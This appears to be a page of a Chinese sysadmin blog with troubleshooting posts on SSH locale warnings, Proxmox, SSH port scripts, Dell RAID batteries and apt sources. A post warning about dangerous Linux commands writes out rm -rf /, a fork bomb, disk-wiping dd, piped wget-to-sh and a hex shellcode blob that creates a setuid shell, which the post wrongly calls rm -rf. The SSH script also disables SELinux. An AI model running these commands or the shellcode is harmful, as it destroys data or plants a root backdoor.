运维部落

香港vps促销1G99元点击购买美国vps促销512M59元点击购买日本vps促销1G100元点击购买

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

2022年10月13日 vps12.com 没有评论

ssh 连接 centos 服务器时报警告：

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

原因是 ssh连接的时候会传递环境变量，这个变量如在服务器没有的环境，就会报这个错误，是LC_CTYPE这个环境变量导致的提示。

对于LC_CTYPE的参数，我们一般建议设置成UTF-8，服务器上配置文件缺少相应配置参数。所以就报错了。

解决办法：
在centos上运行

vi /etc/locale.conf

内容改为：

LANG=en_US.utf8
LC_ALL=en_US.utf8
LC_CTYPE=en_US.utf8

重新连接ssh，就可以解决错误提示。

分类: Linux, 解决方案标签: Linux, ssh, vps12.com

proxmox 7 :WARN: old systemd (< v232) detected, container won't run in a pure cgroupv2 environment! Please see documentation -> container -> cgroup version.

2022年10月13日 vps12.com 没有评论

proxmox 升到7，或是安装7后的版本在使用旧的pct模版LXC的 Centos 7 无法开机，出现以下错误提示：

WARN: old systemd (< v232) detected, container won't run in a pure cgroupv2 environment! Please see documentation -> container -> cgroup version.

TASK WARNINGS: 1

解決方法如下

vim /etc/default/grub

找到以下
GRUB_CMDLINE_LINUX_DEFAULT=”quiet”

改成以下

GRUB_CMDLINE_LINUX_DEFAULT=”systemd.unified_cgroup_hierarchy=0 quiet”

运行更新grub

update-grub

重启服务器
reboot

分类: Linux, 解决方案标签: Linux, proxmox, vps12.com

linux centos修改ssh端口脚本

2022年9月1日 vps12.com 没有评论

linux修改ssh端口脚本
方法一：
复制以下内容到脚本ssh.sh然后使用命令sh ssh.sh就可以了。

^?View Code BASH

# Use default SSH port 22. If you use another SSH port on your server
if [ -e "/etc/ssh/sshd_config" ];then
    [ -z "`grep ^Port /etc/ssh/sshd_config`" ] && ssh_port=22 || ssh_port=`grep ^Port /etc/ssh/sshd_config | awk '{print $2}'`
    while :; do echo
        read -p "Please input SSH port(Default: $ssh_port): " SSH_PORT
        [ -z "$SSH_PORT" ] && SSH_PORT=$ssh_port
        if [ $SSH_PORT -eq 22 >/dev/null 2>&1 -o $SSH_PORT -gt 1024 >/dev/null 2>&1 -a $SSH_PORT -lt 65535 >/dev/null 2>&1 ];then
            break
        else
            echo "${CWARNING}input error! Input range: 22,1025~65534${CEND}"
        fi
    done
 
    if [ -z "`grep ^Port /etc/ssh/sshd_config`" -a "$SSH_PORT" != '22' ];then
        sed -i "s@^#Port.*@&\nPort $SSH_PORT@" /etc/ssh/sshd_config
    elif [ -n "`grep ^Port /etc/ssh/sshd_config`" ];then
        sed -i "s@^Port.*@Port $SSH_PORT@" /etc/ssh/sshd_config
    fi
	cp /etc/selinux/config /etc/selinux/config_$baktime
sed -i '/SELINUX/s/\(enforcing\|permissive\)/disabled/' /etc/selinux/config
if [ -e /etc/sysconfig/selinux ]
   then
       cp /etc/sysconfig/selinux /etc/sysconfig/selinux_$baktime
       sed -i '/SELINUX/s/\(enforcing\|permissive\)/disabled/' /etc/sysconfig/selinux
fi
setenforce 0
systemctl enable firewalld
systemctl start firewalld
firewall-cmd --zone=public --add-port=$SSH_PORT/tcp --permanent
firewall-cmd --reload
service sshd restart
fi

方法二：（推荐）
以下这个直接运行就更快捷。

^?View Code BASH

firewall-cmd --zone=public --add-port=8899/tcp --permanent
firewall-cmd --reload
sed -i '/#Port 22/s/#Port 22/Port 8899/' /etc/ssh/sshd_config
sed -i '/#UseDNS yes/s/#UseDNS yes/UseDNS no/' /etc/ssh/sshd_config
service sshd restart
/bin/systemctl restart sshd.service

8899就是更改后的端口。自己改变一下。

分类: Linux 标签: ssh, vps12.com

The PERC1 battery is low.DELL R620服务器idrac显示电源错误修复办法。

2022年8月3日 vps12.com 没有评论

DELL R620的机器有好几年了。bios电池也快没电了。idrac老显示黄标。于是更换了个新的电池。以为搞定了。不想还是反复提示：
系统事件日志报：The PERC1 battery is low.
电池显示黄标

上网查了一下，dell还是有提供解决办法的。具体办法需要下载效验工具文件。不过这个工具好像是对硬盘阵列用的。也不知道为什么能也用于校对电池。
我下的是LINUX下的。

^?View Code BASH

wget https://downloads.dell.com/FOLDER03559396M/1/perccli-1.17.10-1.noarch.rpm
rpm -ivh perccli-1.17.10-1.noarch.rpm
 
[root@localhost perccli]# cd /opt/MegaRAID/perccli //进入程序目录。默认perccli64是不能运行的。不是内部命令。
 
[root@localhost perccli]# ./perccli64 /c0/bbu show all >/root/a.txt //转存一下信息很长。
 
//我选发一部分发出来比较重要的提示信息给大家标出来。
 
BBU_Capacity_Info :
=================
 
------------------------------------------------------
Property Value
------------------------------------------------------
Relative State of Charge 0%
Absolute State of charge 0%
Remaining Capacity 0 mAh            //主要看这里这是显示0其实不对。新电池应该是满的 
Full Charge Capacity 396 mAh         //电池主容量以下运行校对命令后再运行show all后这两个地方应该会显示一致。
Run time to empty Battery is not being charged
Average time to empty 0 min
Average Time to full Battery is not being charged
Cycle Count 15
Max Error 0%
Remaining Capacity Alarm 0 mAh
Remining Time Alarm 0 minutes(s)
------------------------------------------------------
//运行以下校对命令校对电池容量。
[root@localhost perccli]# ./perccli64 /c0/bbu start learn
Controller = 0
Status = Success
Description = None
 
BBU_Set_Prop :
============
 
------------------------
BBU-Prop Description
------------------------
Start Learn Success
------------------------
//这样就完成了校对工作。
 
[root@localhost perccli]# ./perccli64 /c0/bbu show all >/root/b.txt //转存一下新的信息。可以看到如下比较重要的
 
BBU_Capacity_Info :
=================
 
------------------------------------------------------
Property Value
------------------------------------------------------
Relative State of Charge 100%
Absolute State of charge 0%
Remaining Capacity 396 mAh                    //这里正确的应该有显示不是0了。 
Full Charge Capacity 396 mAh
Run time to empty Battery is not being charged
Average time to empty 32 min
Average Time to full Battery is not being charged
Cycle Count 15
Max Error 0%
Remaining Capacity Alarm 0 mAh
Remining Time Alarm 0 minutes(s)
------------------------------------------------------

关机。拔掉所有的电源。然后过15分钟接上开机。然后再进idrac看一下电池显示。应该全绿标了。

分类: 解决方案标签: dell, vps12.com

火狐浏览器报错建立安全连接失败连接到idrac6时发生错误。您正试图导入一个与已存在证书相同颁发者和序列号但却不相同的证书。错误代码SEC_ERROR_REU

2022年7月4日 vps12.com 没有评论

火狐浏览器报错建立安全连接失败连接到idrac6时发生错误。您正试图导入一个与已存在证书相同颁发者和序列号但却不相同的证书。错误代码SEC_ERROR_REU

类似以上的这种错误提示。网上找了一通代码错误的处理办法没用。没解决问题。还以为是idrac挂了。后面终于找到网上有人给出的方法。很有效果：

方法一、鼠标放在浏览器最上方边框处点击右键，选择菜单栏，选择帮助>故障排除信息。打开应用程序概要>配置文件夹。
方法二、地址框运行about:support 然后同上选择帮助>故障排除信息。打开应用程序概要>配置文件夹。

一般在这类目录下：C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\***.default-release-*

删除cert9.db文件就可以了。（先关掉火狐浏览器再删除）

分类: 解决方案标签: idrac, vps12.com

宝塔面板iis申请免费证书运行时错误_错误信息：The ACME server was probably unable to reach

2022年6月5日 vps12.com 没有评论

最近在使用宝塔自带的Let’s Encrypt的IIS所在windows环境上安装配置免费SSL证书时，出现ssl申请失败的提示。前期怎么设置文件访问下载之类的后辍也不行。后面查了一下原因是可以按以下步骤解决。希望对大家有用。

原因是Let’s Encrypt会首先尝试对IIS站点进行有效性验证。

其基本过程为：

1) 接收用户输入的主机名，如www.test.com
2) 接收用户输入的站点根目录的全路径，如c:\wwwroot
3) 尝试在站点根目录下创建.well-known目录并在该目录生成一个文件，文件内容为一串随机字符串，Let’s Encrypt官网会尝试访问此随机字符串。如果访问成功，则站点验证成功。

由于当IIS的MIME类型未对该随机文件设定处理程序时，会出现如下的错误：

The ACME server was probably unable to reach http://www.test.com/.well-known/acme-challenge/xxx(随机字符串)

这个是因为IIS未指定对没有后缀名的文件进行何种处理，所以直接访问此随机文件，会提示错误。
打开IIS的详细错误报告后，根据不同错误提示，可以有以下不同的解决方法

一、错误1：

HTTP 错误 404.17 – Not Found

请求的内容似乎是脚本，因而将无法由静态文件处理程序来处理。

解决方法：

1) 打开IIS管理器，选择Web服务器。
2) 选择右侧处理程序映射
3) 点击右上角菜单查看经过排序的列表
4) 列表最下方有个StaticFile的处理程序，将其移动到3个ExtensionlessUrlHandler的上方。

5) 重启IIS服务。

二、错误2：

HTTP 错误 404.3 – Not Found

由于扩展配置问题而无法提供您请求的页面。如果该页面是脚本，请添加处理程序。如果应下载文件，请添加 MIME 映射。

解决方法：

1) 打开IIS管理器，选择Web服务器。
2) 选择右侧 MIME类型
3) 新增MIME类型，扩展名：*, 类型：application/octet-stream。
4) 重启IIS服务。

若以上方法都无法解决问题，则可以尝试恢复处理程序映射：

1) 打开IIS管理器，选择Web服务器。
2) 选择右侧处理程序映射
3) 点击恢复为父项
4) 重启IIS服务。

以上是解决的具体办法，亲测有效。

分类: Windows, 解决方案标签: vps12.com, 宝塔面板

Linux下的高危命令

2022年6月1日 vps12.com 没有评论

1、rm -rf 命令
该命令可能导致不可恢复的系统崩坏。

> rm -rf / #强制删除根目录下所有东西。
> rm -rf * #强制删除当前目录的所有文件。
> rm -rf . #强制删除当前文件夹及其子文件夹。
执行 rm -rf 一定要想半天，搞明白自己在干什么。所谓的删库跑路，大多基于这个命令，就算是运维老司机也不要轻易尝试。
-rf 将递归删除文件，误删文件导致数据丢失，产生严重后果。如果多一个空格，或者 /没有补齐，或者文件有特殊符号，导致误删文件的误操作居多。
2、fork 炸弹

^?View Code BASH

1	:() { :\|:& };:

不太好理解可以转换成：

bomb()
{
bomb|bomb&
};
bomb
一旦执行起来，-bash: fork: Cannot allocate memory，会把系统资源消耗殆尽。它会调用自己两次，一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、echo “” > /dev/sda
该操作会将在块设备中的所有数据块替换为命令写入的原始数据，从而导致整个块设备的数据丢失。
4、mv 文件夹 /dev/null
> mv /etc /dev/null
/dev/null 或 null 设备是一个特殊的文件，所有写入它的数据都会被清除，然后返回写操作成功。但是这个命令并不能阻止数据恢复软件——所以，真正的彻底毁灭，需要采用专用的软件或者手法来完成。
5、下载的文件立即执行
> wget http://rumenz.com/rumenz.sh -O- | sh
如果 rumenz.sh 是一个病毒脚本，就完蛋了。下载脚本文件之前要看看里面的内容，有危险的操作就不要执行。
6、mkfs.ext3 /dev/sdb
这个命令会格式化块设备 sdb，在执行这个命令后你的块设备（硬盘驱动器）会被格式化，直接让你的系统达到不可恢复的阶段。
7、重定向输出到文件
> > rumenz.txt
这个命令常用来清空文件内容或记录命令输出，执行之前请考虑清楚。
8、硬盘清零
dd 命令用于复制&改变硬盘分区。如果，你用错地方了，那么也很危险。

下面列举 dd 命令：

dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零：

> dd if=/dev/zero of=/dev/had
所以，不管是新手还是老司机，都不要轻易尝试。

9、执行伪装后的命令
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
上面的命令就是 rm -rf，这里的代码是隐藏在十六进制里的，可能会擦除你的根分区，所以看不懂的命令千万不能执行，非要看效果，请在虚拟机中执行。
10、Decompression Bomb
你已经收到一个压缩文件，你被要求提取这个看起来很小的文件，可能小到KB。事实上，该小尺寸的压缩文件包含高度压缩数据。
只要文件解压，上百GB数据会被提取，这时候，过大的数据填满硬盘导致宕机，几率就很大了。如何避免？还是那句老话，别手贱，什么文件都去接收，请接收可信任来源文件。
11、Malicious Source Code
也许有人会给你源代码让你编译他。代码可能是正常代码，不过，有一些恶意代码伪装在大型源代码中，如果是这样，你的系统就中枪了。如何避免？仅接受并编译可信赖来源的源代码。
12、Tar Bomb
tar命令用于将多个文件以.tar 格式放入一个文件中（存档文件）。Tape Archive (Tar) bomb 可以由他创建。

当为压缩时，就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到tar文件，定期创建一个新的保护目录，然后在解压前将接受的tar文件放到这个目录中，你可以避免成为tar bomb的受害者。

13. ^foo^bar
这样利用^符号，通过上翻补全命令的方式，直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令，但其实这会很危险。
图片
14、kill\killall
killall 命令，杀死同一进程组内的所有进程，其允许指定要终止的进程的名称，而非 PID

killall 和 pkill 是相似的，不过如果给出的进程名不完整，killall会报错。pkill 或者 pgrep只要给出进程名的一部分就可以终止进程。
homer@ubuntu:~$ killall firefo
firefo: no process found
homer@ubuntu:~$ killall firefox
homer@ubuntu:~$ killall -9 firefox

杀死进程最安全的方法是单纯使用kill命令，不加修饰符，不带标志。
例如：# kill -pid
注释：标准的kill命令，默认采用信号（signal）号是15，通常都能达到目的，终止有问题的进程，并把进程的资源释放给系统。然而，如果进程启动了子进程，只杀死父进程，子进程仍在运行，因此仍消耗资源。为了防止这些所谓的“僵尸进程”，应确保在杀死父进程之前，先杀死其所有的子进程。
kill -l

例如：kill -l PID

-l 选项，告诉kill命令用好像启动进程的用户已注销的方式结束进程。当使用该选项时，kill命令也试图杀死所留下的子进程。但这个命令也不是总能成功—或许仍然需要先手工杀死子进程，然后再杀死父进程。
15、打断fsck
fsck 如果底层硬件以某种方式损坏，肯定弊大于利；CPU坏，RAM坏，硬盘快要死了，磁盘 Controller 坏了……在这些情况下，更多的损坏是不可避免的。
如果有疑问，最好使用 dd_rescue 对损坏的磁盘进行镜像。或其他工具，然后看看您是否可以成功修复该图像。这样，您仍然可以使用原始设置。

分类: Linux, 软件使用标签: Linux, vps12.com

ubuntu 17 更换apt源

2022年5月20日 vps12.com 没有评论

有一些生产环境的服务器上的ubuntu 17 18系统很久没搞了。升级的源都太旧了。网上找了几个源，测试了一下更新。希望能对大家有帮助。

^?View Code BASH

1	sudo vim /etc/apt/sources.list

清空，更换成以下内容。然后保存退出。

^?View Code BASH

deb-src http://archive.ubuntu.com/ubuntu artful main restricted #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ artful main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful-updates main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ artful-updates main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful universe
deb http://mirrors.aliyun.com/ubuntu/ artful-updates universe
deb http://mirrors.aliyun.com/ubuntu/ artful multiverse
deb http://mirrors.aliyun.com/ubuntu/ artful-updates multiverse
deb http://mirrors.aliyun.com/ubuntu/ artful-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ artful-backports main restricted universe multiverse #Added by software-properties
deb http://archive.canonical.com/ubuntu artful partner
deb-src http://archive.canonical.com/ubuntu artful partner
deb http://mirrors.aliyun.com/ubuntu/ artful-security main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ artful-security main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful-security universe
deb http://mirrors.aliyun.com/ubuntu/ artful-security multiverse
deb http://mirrors.aliyun.com/ubuntu bionic main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-updates main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-security main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-proposed main multiverse restricted universe

#将 /var/cache/apt/archives/ 的所有 deb 删掉

^?View Code BASH

1	sudo apt-get clean

#更新列表

^?View Code BASH

1 2	sudo apt-get update -y sudo apt-get upgrade -y

如果出现新完了之后，还出现了appstreamcli: error while loading shared libraries: libxapian.so.22: cannot open shared object file: No such file or directory
这之类的问题，按以下一般能解决。
解决方法：

^?View Code BASH

apt --fix-broken install
apt-get install build-essential
apt-get install zlib1g-dev libc6-dev libc-dev libmysqlclient-dev
dpkg -l | grep libc6
apt-get install  libc6=2.19-0ubuntu6.9

分类: Linux, 解决方案标签: Linux, Ubuntu, vps12.com

记录在CentOS查看CPU使用率的脚本工具（ htop命令安装和使用）

2022年5月2日 vps12.com 没有评论

我们在常规的运维服务器的时候使用最多的就是查看服务器的CPU使用率，其中我们常用的可能是TOP命令。这里老左在学习一个有网友可能也有常用的比较专业的Htop命令。这里老左在当前的CENTOS系统中进行测试看看。

1、htop软件工具安装

一般么我们的CENTOS服务器系统中是没有安装部署htop的，我们需要先安装一下。直接yum应该不行，我们直接自己安装。

yum -y install ncurses-devel wget
wget http://hisham.hm/htop/releases/2.0.2/htop-2.0.2.tar.gz
tar xvfvz htop-2.0.2.tar.gz
cd htop-2.0.2
./configure –disable-unicode && make && make install

2、如何使用

htop

这里我们可以详细的看到CPU对于文件和目录的使用数据情况。

第一区域：CPU、内存、Swap的使用情况；

第二区域：任务、线程、平均负载及系统运行时间的信息。平均负载部分提供了三个数字，这仅仅表示的是过去的5分钟、10分钟和15分钟系统的平均负载而已，在单核的系统中平均负载为1表示的是百分之百的 CPU 利用率。最后，运行时间（uptime）标示的数字是从系统启动起到当前的运行总时间。

第三区域：当前系统中的所有进程。各列说明：

PID：进程标志号，是非零正整数
USER：进程所有者的用户名
PR：进程的优先级别
NI：进程的优先级别数值
VIRT：进程占用的虚拟内存值
RES：进程占用的物理内存值
SHR：进程使用的共享内存值
S：进程的状态，其中S表示休眠，R表示正在运行，Z表示僵死状态，N表示该进程优先值是负数
%CPU：该进程占用的CPU使用率
%MEM：该进程占用的物理内存和总内存的百分比
TIME+：该进程启动后占用的总的CPU时间
COMMAND：进程启动的启动命令名称

第四区域：当前界面中F1-F10功能键中定义的快捷功能。即底部菜单栏。

分类: Linux, 解决方案标签: Linux, vps12.com

第 3 页，共 43 页«1 234 5 6 7 8 9 10...20 30 40...»最旧 »

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

proxmox 7 :WARN: old systemd (< v232) detected, container won't run in a pure cgroupv2 environment! Please see documentation -> container -> cgroup version.

centos6 yum源不能使用解决办法

linux centos修改ssh端口脚本

The PERC1 battery is low.DELL R620服务器idrac显示电源错误修复办法。

火狐浏览器报错建立安全连接失败连接到idrac6时发生错误。您正试图导入一个与已存在证书相同颁发者和序列号但却不相同的证书。错误代码SEC_ERROR_REU

宝塔面板iis申请免费证书运行时错误_错误信息：The ACME server was probably unable to reach

Linux下的高危命令

ubuntu 17 更换apt源

记录在CentOS查看CPU使用率的脚本工具（ htop命令安装和使用）

近期文章

交流群

Categories

Blogroll

Archives

Meta

近期文章

交流群

标签云

Categories

Blogroll

Archives

Meta